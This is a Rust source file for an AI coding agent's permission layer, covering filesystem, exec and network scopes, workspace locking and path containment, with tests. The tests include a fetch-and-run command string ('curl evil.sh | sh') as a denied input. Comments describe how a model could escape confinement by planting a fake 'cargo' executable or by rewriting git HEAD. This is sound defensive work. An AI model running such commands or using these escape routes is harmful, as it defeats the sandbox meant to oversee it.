newt-core 0.8.0

Newt-Agent core types, errors, and the NeMoCode-style tier router
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
//! `Caveats` — the attenuated authority lattice consumed at every tool
//! dispatch site.
//!
//! Issue #95 collapsed the hand-mirrored `newt_core::caveats` module into a
//! re-export of [`agent_mesh_protocol::caveats`]: the signed wire types and the
//! enforcement-side types are now literally the same Rust type, so there is no
//! drift surface between them and no JSON bridge to maintain.
//!
//! What stayed in `newt-core` is the **enforcement convenience layer** —
//! per-axis `permits_*` adaptors and the `permits_one_more` budget check the
//! call sites in `newt-coder` and `newt-tui` rely on. Those aren't part of
//! `agent-mesh-protocol`'s 0.6 surface (the upstream crate ships only the
//! lattice algebra: `top`, `leq`, `meet`), so we hang them off the re-exported
//! types via extension traits ([`CaveatsExt`], [`CountBoundExt`],
//! [`ScopeExt`]). The call sites read exactly the way they did before #95:
//!
//! ```text
//!     if !caveats.permits_fs_write(path) { … }
//!     if !caveats.max_calls.permits_one_more(used) { … }
//! ```
//!
//! Host-suffix matching is *not* in scope here; the lattice deals in set
//! membership only. Path-prefix (containment) semantics DO live here, in one
//! shared [`permits_path`] enforcement helper, so every dispatch site — the
//! interactive tool gate (`tui_permits_path`) and the headless coder apply
//! path alike — decides "is this path under a granted root?" identically.

pub use agent_mesh_protocol::caveats::{Caveats, CountBound, Scope};

pub use agent_toolchain::caveats::ScopeExt;

/// "Does this bound permit one more call?" — the dispatch-site form of the
/// `max_calls` axis. Defined as an extension trait because the upstream
/// `CountBound` type ships only the lattice operations.
pub trait CountBoundExt {
    /// Does this bound permit one more call when `used_so_far` calls have
    /// already been counted against it?
    ///
    /// `Unlimited` always permits; `AtMost(n)` permits iff `used_so_far < n`.
    fn permits_one_more(&self, used_so_far: u64) -> bool;
}

impl CountBoundExt for CountBound {
    fn permits_one_more(&self, used_so_far: u64) -> bool {
        match self {
            Self::Unlimited => true,
            Self::AtMost(n) => used_so_far < *n,
        }
    }
}

/// Per-axis "permits this concrete item?" adaptors for the [`Caveats`]
/// lattice. These don't change the algebra; they're convenience adaptors so
/// dispatch sites read like prose.
pub trait CaveatsExt {
    /// Does this authority permit reading `path`?
    ///
    /// `path` is matched by exact string equality against the members of
    /// `fs_read` (or `All` accepts everything). Path-prefix semantics are out
    /// of scope at this layer — see the module docs.
    fn permits_fs_read(&self, path: &str) -> bool;

    /// Does this authority permit writing `path`?
    fn permits_fs_write(&self, path: &str) -> bool;

    /// Does this authority permit executing `cmd`?
    fn permits_exec(&self, cmd: &str) -> bool;

    /// Does this authority permit a network call to `host`?
    fn permits_net(&self, host: &str) -> bool;
}

impl CaveatsExt for Caveats {
    fn permits_fs_read(&self, path: &str) -> bool {
        self.fs_read.permits(&path.to_string())
    }

    fn permits_fs_write(&self, path: &str) -> bool {
        self.fs_write.permits(&path.to_string())
    }

    fn permits_exec(&self, cmd: &str) -> bool {
        self.exec.permits(&cmd.to_string())
    }

    fn permits_net(&self, host: &str) -> bool {
        self.net.permits(&host.to_string())
    }
}

// ---------------------------------------------------------------------------
// Workspace fs-lock (the `--read` / `--write` CLI grants)
// ---------------------------------------------------------------------------

/// Lock the agent's filesystem authority to `workspace` plus the explicitly
/// granted paths — the shared mechanism behind "the agent is confined to the
/// CWD unless a path is opened", used by both the interactive session
/// (`newt code`) and the headless paths (`newt crew` / `newt worker`).
///
/// - `fs_read` → `workspace + read_grants + write_grants` (a write grant implies
///   read). An open default (`All`) is locked; an already-fenced set is widened.
/// - `fs_write` → an open default (`All`) is fenced to `workspace + write_grants`;
///   an already-fenced set keeps its members and gains only `write_grants` (so a
///   read-only `fs_write = none` opens ONLY the explicit write paths, never the
///   workspace).
///
/// Files *under* a granted directory are matched at the enforcement site
/// (`tui_permits_path`, prefix semantics); this only sets the root set.
pub fn lock_fs_to_workspace(
    caveats: &mut Caveats,
    workspace: &str,
    read_grants: &[String],
    write_grants: &[String],
) {
    let mut read_roots: Vec<String> = vec![workspace.to_string()];
    read_roots.extend(read_grants.iter().cloned());
    read_roots.extend(write_grants.iter().cloned());
    caveats.fs_read = match &caveats.fs_read {
        Scope::All => Scope::only(read_roots),
        Scope::Only(set) => Scope::only(set.iter().cloned().chain(read_roots)),
    };
    caveats.fs_write = match &caveats.fs_write {
        Scope::All => {
            Scope::only(std::iter::once(workspace.to_string()).chain(write_grants.iter().cloned()))
        }
        Scope::Only(set) => Scope::only(set.iter().cloned().chain(write_grants.iter().cloned())),
    };
    #[cfg(target_os = "macos")]
    for scope in [&mut caveats.fs_read, &mut caveats.fs_write] {
        if let Scope::Only(roots) = scope {
            *roots = roots
                .iter()
                .map(|root| crate::fs_aliases::rewrite(root).into_owned())
                .collect();
        }
    }
}

/// Apply [`lock_fs_to_workspace`] from the CLI grant env vars `NEWT_READ_PATHS` /
/// `NEWT_WRITE_PATHS` (absolute paths that `newt-cli` sets from `--read` /
/// `--write`, joined with the platform path-list separator). The single entry
/// point every session path calls.
///
/// Uses [`std::env::split_paths`] rather than splitting on a hard-coded `':'`,
/// so a Windows drive-letter grant (`C:\…`) is not shattered into a bare `"C"`
/// root that would prefix-match the whole drive.
pub fn apply_cli_fs_grants(caveats: &mut Caveats, workspace: &str) {
    let parse = |var: &str| -> Vec<String> {
        std::env::var_os(var)
            .map(|s| {
                std::env::split_paths(&s)
                    .filter(|p| !p.as_os_str().is_empty())
                    .map(|p| p.to_string_lossy().into_owned())
                    .collect()
            })
            .unwrap_or_default()
    };
    // The workspace's own git metadata (HEAD, index, objects, the checked-out
    // branch's ref) lives outside `workspace` for a linked worktree — grant
    // READ so `git status`/`diff`/`log` work there (F32, #2537). Deliberately
    // READ-ONLY: the real commit path is the in-process `git` tool
    // (`newt-git`'s `GitEngine::commit`/`amend`/`rebase`, guarded there by
    // `refuse_if_default_branch`), not a write grant on these paths — a write
    // grant here would let `write_file`/`edit_file` retarget `HEAD` to `main`
    // or corrupt the shared `objects/` store with no prompt (PR #2577 review).
    // `own_gitdir_grants` still computes a `write` set (kept for callers that
    // reason about it directly, e.g. `newt-git`'s explicit-`cwd` dispatch
    // check); folding it into the SHELL lane's kernel fence is deliberately
    // out of scope here — that is an operator decision, not this function's
    // to make.
    let own_git = crate::git_hardening::own_gitdir_grants(std::path::Path::new(workspace));
    let mut read = parse("NEWT_READ_PATHS");
    read.extend(own_git.read);
    let write = parse("NEWT_WRITE_PATHS");

    lock_fs_to_workspace(caveats, workspace, &read, &write);
}

// ---------------------------------------------------------------------------
// Path containment (the shared prefix-semantics enforcement helper)
// ---------------------------------------------------------------------------

/// Lexically normalise a path *string* — collapse `.` and `..` components
/// without touching the filesystem — so containment is decided on the location
/// the caller actually named, not on a raw byte prefix. Does NOT resolve
/// symlinks (that needs `canonicalize`, which requires the path to exist and is
/// the still-open `fs-canonical-containment` deviation): a symlink *inside* a
/// granted root can still point out — the object-bound `WorkspaceDir` resolver
/// (`openat2 RESOLVE_BENEATH`) is what closes that. What this DOES close are the
/// string-only escapes — `..` traversal and sibling-prefix collisions.
pub(crate) fn lexically_normalize(path: &str) -> std::path::PathBuf {
    #[cfg(target_os = "macos")]
    let path = crate::fs_aliases::rewrite(path);
    #[cfg(target_os = "macos")]
    let path = path.as_ref();
    use std::path::{Component, PathBuf};
    let mut out = PathBuf::new();
    for comp in std::path::Path::new(path).components() {
        match comp {
            Component::CurDir => {}
            Component::ParentDir => {
                // Pop a real segment; never climb above a root/prefix.
                if !out.pop() {
                    out.push(comp.as_os_str());
                }
            }
            other => out.push(other.as_os_str()),
        }
    }
    out
}

/// Does `scope` authorise `full_path` under **prefix (containment)** semantics?
///
/// The [`Caveats`] lattice stores workspace-root strings (not individual file
/// paths) with exact-set membership; this layer adds containment so that "the
/// workspace root is permitted" means "any path *under* it is permitted". Both
/// the candidate and each root are [`lexically_normalize`]d (collapsing `..`)
/// and then compared by whole path components via [`std::path::Path::starts_with`],
/// so `..` traversal (`/ws/../etc/passwd`) and sibling-prefix collisions
/// (`/ws-secret` vs root `/ws`) cannot escape the fence.
///
/// Fail-closed: an empty `Only(∅)` set permits nothing. `All` permits
/// everything. Symlink containment is not decided here — that is the
/// object-bound resolver's job (`fs-canonical-containment`); creating a symlink
/// needs `exec`, which is gated on its own axis.
///
/// This is the single site both the interactive tool gate (`tui_permits_path`,
/// which delegates here) and the headless coder apply path consult, so the two
/// enforcement points can never drift on what "inside the fence" means.
pub fn permits_path(scope: &Scope<String>, full_path: &str) -> bool {
    match scope {
        Scope::All => true,
        Scope::Only(set) if set.is_empty() => false,
        Scope::Only(set) => {
            let candidate = lexically_normalize(full_path);
            set.iter()
                .any(|root| candidate.starts_with(lexically_normalize(root)))
        }
    }
}

// ---------------------------------------------------------------------------
// Spawn net scope (agent-bridle 0.8 admission narrowing)
// ---------------------------------------------------------------------------

/// The `net` caveat to hand a **spawned child** (confined shell / stdio MCP
/// server), as opposed to the in-process `web_fetch` caller that can actually
/// enforce a host allow-list.
///
/// Under agent-bridle 0.8, admission fails closed (L3 BOUND) on the Linux
/// Landlock backend when the delegated `net` scope is a non-empty host list:
/// `Scope::Only(_)` resolves to `Unknown` (only `Scope::none()` is bindable
/// to a kernel primitive there), and `Unknown` refuses at admission
/// independent of enforcement strength. A spawned child was never able to
/// honor a host-scoped allow-list anyway — no kernel primitive here bounds
/// *which* host a TCP socket reaches, only whether it may open one at all —
/// so that grant was already advisory-only for a spawn. Narrowing it to
/// `Scope::none()` here loses nothing a spawn could actually enforce, and
/// makes admission decidable on Linux (`none` + `ChildNetworkPolicy::DenyDirect`
/// ⇒ `Kernel`).
///
/// **Measured on Linux** (Landlock + `DenyDirect` → `Kernel`-decidable after
/// this narrowing). On macOS, Seatbelt can also bind `net:none`; a non-empty
/// host list remains undecidable (#2729). On Windows, AppContainer can bind
/// `net:none`, but other axes (e.g. restricted exec) can still refuse;
/// behaviour is unvalidated here.
///
/// `Scope::All` and `Scope::none()` pass through unchanged: `All` is already
/// unrestricted (nothing to narrow), and `none()` is already the bindable
/// shape. Only a non-empty `Only(_)` host list is narrowed.
#[must_use]
pub fn spawn_net_scope(net: &Scope<String>) -> Scope<String> {
    match net {
        Scope::Only(set) if !set.is_empty() => Scope::none(),
        other => other.clone(),
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn scope_all_permits_everything() {
        let s: Scope<String> = Scope::All;
        assert!(s.permits(&"anything".to_string()));
        assert!(s.permits(&"".to_string()));
    }

    #[test]
    fn scope_only_permits_exact_members() {
        let s = Scope::<String>::only(["a".to_string(), "b".to_string()]);
        assert!(s.permits(&"a".to_string()));
        assert!(s.permits(&"b".to_string()));
        assert!(!s.permits(&"c".to_string()));
        assert!(!s.permits(&"".to_string()));
    }

    fn s(v: &[&str]) -> std::collections::BTreeSet<String> {
        v.iter().map(|x| x.to_string()).collect()
    }

    #[test]
    fn spawn_net_scope_narrows_a_nonempty_host_list_to_none() {
        let hosts = Scope::only(["api.example.com".to_string()]);
        assert_eq!(spawn_net_scope(&hosts), Scope::none());
    }

    #[test]
    fn spawn_net_scope_preserves_all_and_empty() {
        assert_eq!(spawn_net_scope(&Scope::All), Scope::All);
        assert_eq!(spawn_net_scope(&Scope::none()), Scope::none());
    }

    #[test]
    fn lock_fs_to_workspace_locks_open_reads_and_writes() {
        // Headless default (fs open both ways) → fenced to ws + grants.
        let mut c = Caveats {
            fs_read: Scope::All,
            fs_write: Scope::All,
            ..Caveats::top()
        };
        lock_fs_to_workspace(&mut c, "/ws", &["/ext/ro".into()], &["/ext/rw".into()]);
        // reads = ws + read grant + write grant (write implies read)
        assert_eq!(c.fs_read, Scope::Only(s(&["/ws", "/ext/ro", "/ext/rw"])));
        // writes = ws + write grant only (the read grant is NOT writable)
        assert_eq!(c.fs_write, Scope::Only(s(&["/ws", "/ext/rw"])));
    }

    #[test]
    fn lock_fs_to_workspace_preserves_a_readonly_write_fence() {
        // read-only base: fs_write = none. A --write grant opens ONLY that path;
        // the workspace stays unwritable (the read-only contract holds).
        let mut c = Caveats {
            fs_read: Scope::All,
            fs_write: Scope::none(),
            ..Caveats::top()
        };
        lock_fs_to_workspace(&mut c, "/ws", &[], &["/ext/rw".into()]);
        assert_eq!(c.fs_read, Scope::Only(s(&["/ws", "/ext/rw"])));
        assert_eq!(
            c.fs_write,
            Scope::Only(s(&["/ext/rw"])),
            "ws stays unwritable"
        );
    }

    #[test]
    fn lock_fs_to_workspace_widens_an_existing_fence() {
        // workspace_dev-like base: both fenced to the workspace already.
        let mut c = Caveats {
            fs_read: Scope::only(["/ws".to_string()]),
            fs_write: Scope::only(["/ws".to_string()]),
            ..Caveats::top()
        };
        lock_fs_to_workspace(&mut c, "/ws", &["/ext/ro".into()], &["/ext/rw".into()]);
        assert_eq!(c.fs_read, Scope::Only(s(&["/ws", "/ext/ro", "/ext/rw"])));
        assert_eq!(c.fs_write, Scope::Only(s(&["/ws", "/ext/rw"])));
    }

    #[test]
    fn scope_none_permits_nothing() {
        let s: Scope<String> = Scope::none();
        assert!(!s.permits(&"a".to_string()));
    }

    #[test]
    fn count_bound_permits_one_more() {
        assert!(CountBound::Unlimited.permits_one_more(0));
        assert!(CountBound::Unlimited.permits_one_more(99_999));
        assert!(CountBound::AtMost(3).permits_one_more(0));
        assert!(CountBound::AtMost(3).permits_one_more(2));
        assert!(!CountBound::AtMost(3).permits_one_more(3));
        assert!(!CountBound::AtMost(3).permits_one_more(99));
        // Edge: AtMost(0) refuses immediately.
        assert!(!CountBound::AtMost(0).permits_one_more(0));
    }

    #[test]
    fn caveats_top_permits_everything() {
        let c = Caveats::top();
        assert!(c.permits_fs_read("/anywhere"));
        assert!(c.permits_fs_write("/anywhere"));
        assert!(c.permits_exec("rm"));
        assert!(c.permits_net("evil.example.com"));
        assert!(c.max_calls.permits_one_more(1_000_000));
    }

    #[test]
    fn caveats_attenuated_denies_outside_scope() {
        let c = Caveats {
            fs_write: Scope::only(["allowed.rs".to_string()]),
            net: Scope::only(["allowed.example.com".to_string()]),
            max_calls: CountBound::AtMost(2),
            ..Caveats::top()
        };
        assert!(c.permits_fs_write("allowed.rs"));
        assert!(!c.permits_fs_write("forbidden.rs"));
        assert!(c.permits_net("allowed.example.com"));
        assert!(!c.permits_net("evil.example.com"));
        assert!(c.max_calls.permits_one_more(1));
        assert!(!c.max_calls.permits_one_more(2));
    }

    /// SECURITY TRIPWIRE (issue #1057 review). `permits_exec` is the SOLE
    /// *unconfined* gate for a model-authored `verify` string: `plan_exec` and
    /// `crew_runner` forward it straight to a raw `sh -c` with NO agent-bridle
    /// backstop. It MUST stay EXACT-match. If it ever basename-matched, a model
    /// could plant an executable `./cargo` in the worktree, set `verify=./cargo`,
    /// and `Path::file_name()=="cargo"` would flip deny→allow and run it
    /// unconfined — arbitrary code execution. The name↔path reconciliation for
    /// #1057 belongs in the interactive gate's prompt-skip memo, NOT here. Keep
    /// this exact-match property; this test fails loudly if someone relaxes it.
    #[test]
    fn permits_exec_stays_exact_never_basename_ace_guard() {
        let c = Caveats {
            exec: Scope::only(["cargo".to_string()]),
            ..Caveats::top()
        };
        assert!(c.permits_exec("cargo"), "the exact grant is permitted");
        // Each of these would be an ACE primitive if basename-matched — deny all.
        assert!(
            !c.permits_exec("./cargo"),
            "a relative path must not match a bare grant"
        );
        assert!(
            !c.permits_exec("sub/cargo"),
            "a nested relative path must not match"
        );
        assert!(
            !c.permits_exec("/usr/bin/cargo"),
            "an absolute path must not match a bare grant"
        );
        assert!(
            !c.permits_exec("cargo; curl evil.sh | sh"),
            "a chained command must not match"
        );
        assert!(
            !c.permits_exec("cargo-x"),
            "a different program sharing a prefix must not match"
        );
    }

    /// PR #2577 round 2, item 2: `apply_cli_fs_grants` must extend `fs_read`
    /// with the workspace's own git metadata (F32/#2537) but NEVER `fs_write`
    /// — a write grant there let `write_file` retarget `HEAD` to `main` or
    /// corrupt the shared `objects/` store with no prompt. Real `git`, real
    /// tempdirs, `#[cfg(unix)]` per the real-resource testing tier.
    #[cfg(unix)]
    #[test]
    fn own_gitdir_grants_are_read_only_in_session_caveats() {
        let root = tempfile::tempdir().unwrap();
        // Git resolves macOS's /var alias; compare the same physical paths.
        let root_path = root.path().canonicalize().unwrap();
        let main = root_path.join("main");
        std::fs::create_dir(&main).unwrap();
        let git = |dir: &std::path::Path, args: &[&str]| {
            assert!(std::process::Command::new("git")
                .args(args)
                .current_dir(dir)
                .env("GIT_AUTHOR_NAME", "t")
                .env("GIT_AUTHOR_EMAIL", "t@example.invalid")
                .env("GIT_COMMITTER_NAME", "t")
                .env("GIT_COMMITTER_EMAIL", "t@example.invalid")
                .status()
                .unwrap()
                .success());
        };
        git(&main, &["init", "-q"]);
        std::fs::write(main.join("seed"), "x").unwrap();
        git(&main, &["add", "seed"]);
        git(&main, &["commit", "-q", "-m", "init"]);
        let wt = root_path.join("wt");
        git(
            &main,
            &["worktree", "add", "-q", wt.to_str().unwrap(), "-b", "task"],
        );

        std::env::remove_var("NEWT_READ_PATHS");
        std::env::remove_var("NEWT_WRITE_PATHS");
        let mut caveats = Caveats::top();
        apply_cli_fs_grants(&mut caveats, &wt.to_string_lossy());

        let common_dir = main.join(".git");
        assert!(
            permits_path(
                &caveats.fs_read,
                &common_dir.join("objects").to_string_lossy()
            ),
            "the common git dir must be READ-granted"
        );
        assert!(
            !permits_path(
                &caveats.fs_write,
                &common_dir.join("objects").to_string_lossy()
            ),
            "the common git dir's objects/ must NOT be write-granted"
        );
        assert!(
            !permits_path(
                &caveats.fs_write,
                &common_dir.join("worktrees/wt/HEAD").to_string_lossy()
            ),
            "the worktree's HEAD must NOT be write-granted — that would let a \
             model retarget it to main with no prompt"
        );
    }
}